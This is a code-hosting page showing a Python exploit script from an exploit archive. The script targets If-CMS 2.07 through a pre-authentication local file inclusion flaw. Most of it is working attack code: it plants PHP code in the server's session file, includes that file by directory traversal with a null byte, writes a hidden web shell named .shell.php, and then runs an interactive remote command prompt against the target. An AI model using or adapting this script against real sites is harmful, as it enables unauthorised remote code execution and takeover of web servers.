PageRenderTime 37ms CodeModel.GetById 8ms RepoModel.GetById 0ms app.codeStats 0ms

/exploits/php/webapps/16980.py

https://bitbucket.org/DinoRex99/exploit-database
Python | 153 lines | 134 code | 9 blank | 10 comment | 8 complexity | fdab277db2b4da36eeed3cff976fc2ad MD5 | raw file
Possible License(s): GPL-2.0
  1. #!/usr/bin/python
  2. # ~INFORMATION
  3. # Exploit Title: If-CMS 2.07 Pre-Auth Local File Inclusion 0day Exploit
  4. # Author: TecR0c
  5. # Date: 13/3/2011
  6. # Software link: http://bit.ly/hh9ZB4
  7. # Tested on: Linux bt
  8. # Version: 2.07
  9. # PHP.ini Settings: gpc_magic_quotes = Off
  10. import random,time,sys,urllib,urllib2,re,httplib,socket,base64,os,getpass
  11. from optparse import OptionParser
  12. from urlparse import urlparse,urljoin
  13. from urllib import urlopen
  14. from cookielib import CookieJar
  15. __CONTACT__ ="TecR0c(tecr0c@tecninja.net)"
  16. __DATE__ ="13.3.2011"
  17. usage = 'Example : %s http://localhost/ncms/ -p 127.0.0.1:8080' % __file__
  18. parser = OptionParser(usage=usage)
  19. parser.add_option("-p","--proxy", type="string",action="store", dest="proxy",
  20. help="HTTP Proxy <server>:<port>")
  21. (options, args) = parser.parse_args()
  22. if options.proxy:
  23. print '[+] Using Proxy'+options.proxy
  24. # User Agents
  25. agents = ["Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)",
  26. "Internet Explorer 7 (Windows Vista); Mozilla/4.0 ",
  27. "Google Chrome 0.2.149.29 (Windows XP)",
  28. "Opera 9.25 (Windows Vista)",
  29. "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)",
  30. "Opera/8.00 (Windows NT 5.1; U; en)"]
  31. agent = random.choice(agents)
  32. traversal = '../../../../../../../../../../../..'
  33. sessionLocation = '/var/lib/php5/'
  34. def banner():
  35. if os.name == "posix":
  36. os.system("clear")
  37. else:
  38. os.system("cls")
  39. header = '''
  40. |----------------------------------------|
  41. |Exploit: If-CMS 2.07 LFI RCE
  42. |Author: %s
  43. |Date: %s
  44. |----------------------------------------|\n
  45. '''%(__CONTACT__,__DATE__)
  46. for i in header:
  47. print "\b%s"%i,
  48. sys.stdout.flush()
  49. time.sleep(0.005)
  50. def injectPayload():
  51. webSiteUrl = url.geturl()+'index.php?newlang=<?php;system(base64_decode($_REQUEST[cmd]));?>'
  52. try:
  53. opener.open(webSiteUrl)
  54. except:
  55. print '[-] Failed'
  56. def proxyCheck():
  57. if options.proxy:
  58. try:
  59. h2 = httplib.HTTPConnection(options.proxy)
  60. h2.connect()
  61. print "[+] Using Proxy Server:",options.proxy
  62. except(socket.timeout):
  63. print "[-] Proxy Timed Out\n"
  64. pass
  65. sys.exit(1)
  66. except(NameError):
  67. print "[-] Proxy Not Given\n"
  68. pass
  69. sys.exit(1)
  70. except:
  71. print "[-] Proxy Failed\n"
  72. pass
  73. sys.exit(1)
  74. def getProxy():
  75. try:
  76. proxy_handler = urllib2.ProxyHandler({'http': options.proxy})
  77. except(socket.timeout):
  78. print "\n[-] Proxy Timed Out"
  79. sys.exit(1)
  80. return proxy_handler
  81. cj = CookieJar()
  82. if options.proxy:
  83. opener = urllib2.build_opener(getProxy(), urllib2.HTTPCookieProcessor(cj))
  84. else:
  85. opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
  86. opener.addheaders = [('User-agent', agent)]
  87. def postRequestWebShell(encodedCommand):
  88. webSiteUrl = url.geturl()+'.shell.php'
  89. commandToExecute = [
  90. ('cmd',encodedCommand)]
  91. cmdData = urllib.urlencode(commandToExecute)
  92. try:
  93. response = opener.open(webSiteUrl, cmdData).read()
  94. except:
  95. print '[-] Failed'
  96. sys.exit()
  97. return response
  98. def writeOutShell(encodedCommand):
  99. cookieString = str(cj)
  100. cookieSearch = re.compile(r"PHPSESSID=(.*) f")
  101. session_value = cookieSearch.search(cookieString)
  102. if session_value:
  103. session_value = session_value.group(1)
  104. cj.clear()
  105. webSiteUrl = url.geturl()+'index.php?cmd='+encodedCommand+'&newlang='+traversal+sessionLocation+'sess_'+session_value+'%00'
  106. try:
  107. opener.open(webSiteUrl)
  108. except:
  109. print '[-] Failed'
  110. sys.exit()
  111. def commandLine():
  112. encodedCommand = "echo '<?php system(base64_decode($_REQUEST[cmd]));?>' > .shell.php"
  113. encodedCommand = base64.b64encode(encodedCommand)
  114. writeOutShell(encodedCommand)
  115. commandLine = ('[RSHELL] %s@%s# ') % (getpass.getuser(),url.netloc)
  116. while True:
  117. try:
  118. command = raw_input(commandLine)
  119. encodedCommand = base64.b64encode(command)
  120. response = postRequestWebShell(encodedCommand)
  121. print response
  122. except KeyboardInterrupt:
  123. encodedCommand = base64.b64encode('rm .shell.php')
  124. postRequestWebShell(encodedCommand)
  125. print "\n[!] Removed .shell.php\n"
  126. sys.exit()
  127. if "__main__" == __name__:
  128. banner()
  129. try:
  130. url=urlparse(args[0])
  131. except:
  132. parser.print_help()
  133. sys.exit()
  134. getProxy()
  135. proxyCheck()
  136. injectPayload()
  137. commandLine()